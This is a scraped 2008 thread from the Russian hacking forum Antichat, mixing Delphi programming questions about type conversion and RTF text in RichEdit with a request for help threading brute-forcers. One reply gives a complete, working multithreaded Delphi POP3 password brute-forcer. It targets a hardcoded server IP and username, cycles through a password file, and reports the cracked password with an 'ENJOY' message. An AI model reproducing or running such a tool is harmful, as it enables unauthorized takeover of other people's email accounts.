Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

11.08.2008, 17:30
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме: 1892597
Репутация:
836
|
|
Сообщение от A_V
народ где бы почитать про применение TThead для использования в брутах на http
Я понимаю конкретно влядли что будет, но что то более подходящее под эту задачу посоветуйте плз, либо пример если кому не трудно!
Спасибо!
http://forum.vingrad.ru/topic-60076.html
если вот это осилишь, то мб что и напишешь...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|

11.08.2008, 20:45
|
|
Участник форума
Регистрация: 18.02.2008
Сообщений: 125
Провел на форуме: 562108
Репутация:
107
|
|
нда а попроще...

|
|
|

12.08.2008, 15:54
|
|
Познающий
Регистрация: 24.06.2005
Сообщений: 79
Провел на форуме: 227039
Репутация:
11
|
|
Сообщение от Andres
Такой вопрос:
Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:
Код:
program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}
зачем это нужно то вобще?
можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа
например
Код:
var var a,b,c,d :integer;
a1,b1,c1,d1:real;
e:string;
....
....
e:=IntToStr(a);
a1:=StrToFloat(e);
|
|
|

12.08.2008, 18:41
|
|
Новичок
Регистрация: 26.06.2008
Сообщений: 15
Провел на форуме: 27936
Репутация:
13
|
|
A_V,
Ну на тебе готовый пример брутера (под POP3, правда, но не суть)
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.Count<=0 then
begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do
begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп, или подобрали
if (I0>ProcCount)or(not Rez) then
break;
end;
end;
end;
// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I0<=1 then
begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
end;
end;
//Проца сканирования
procedure TScan.CScan;
var
iaddr, x, I2 : Integer;
Buf : array [1..255] of Char;
//Отправка
procedure sender(str:string);
var
I1: integer;
begin
for I1:=1 to Length(str) do
if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
exit;
end;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Адрес сервака
iaddr := inet_addr(PChar(POP3serv));
if iaddr <=0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
addr.sin_family := AF_INET;
// Порт сервака
addr.sin_port := htons(110);
addr.sin_addr.S_addr:=iaddr;
if (connect(sock2, addr, sizeof(addr))) >0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;
end.
|
|
|

12.08.2008, 18:47
|
|
Новичок
Регистрация: 26.06.2008
Сообщений: 15
Провел на форуме: 27936
Репутация:
13
|
|
Сообщение от Gho_st
можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа
Жесть! А функции integer(), int(), real(), round() и т.п. дураки придумали?
|
|
|

12.08.2008, 23:59
|
|
Познающий
Регистрация: 24.06.2005
Сообщений: 79
Провел на форуме: 227039
Репутация:
11
|
|
xDD
честно никогда не задумывался о них
|
|
|

14.08.2008, 20:26
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Как в RichEdit загнать из символьного массива ,эти самые текстовые символы?
|
|
|

15.08.2008, 12:55
|
|
Познающий
Регистрация: 15.02.2008
Сообщений: 98
Провел на форуме: 183980
Репутация:
50
|
|
O_o? невкурил...
давай ищё раз и поподробней
PS. string это тоже символьный масив
|
|
|

15.08.2008, 13:56
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
|
|
|

15.08.2008, 17:52
|
|
Новичок
Регистрация: 26.06.2008
Сообщений: 15
Провел на форуме: 27936
Репутация:
13
|
|
Сообщение от _nic
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
Так варианта 2:
1. присваивать атрибуты для seltext
2. сразу запихать в него "исходник" RTF, типа
Код:
S := '{\rtf1\ansi\ansicpg1251\uc1 \fs16' +
'{\b \ul\qc\widctlpar \fs20 ' + {WDCaption +} ' Заголовочег \line \line }' + 'Текст \line ' + '{\par }}'#0;
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|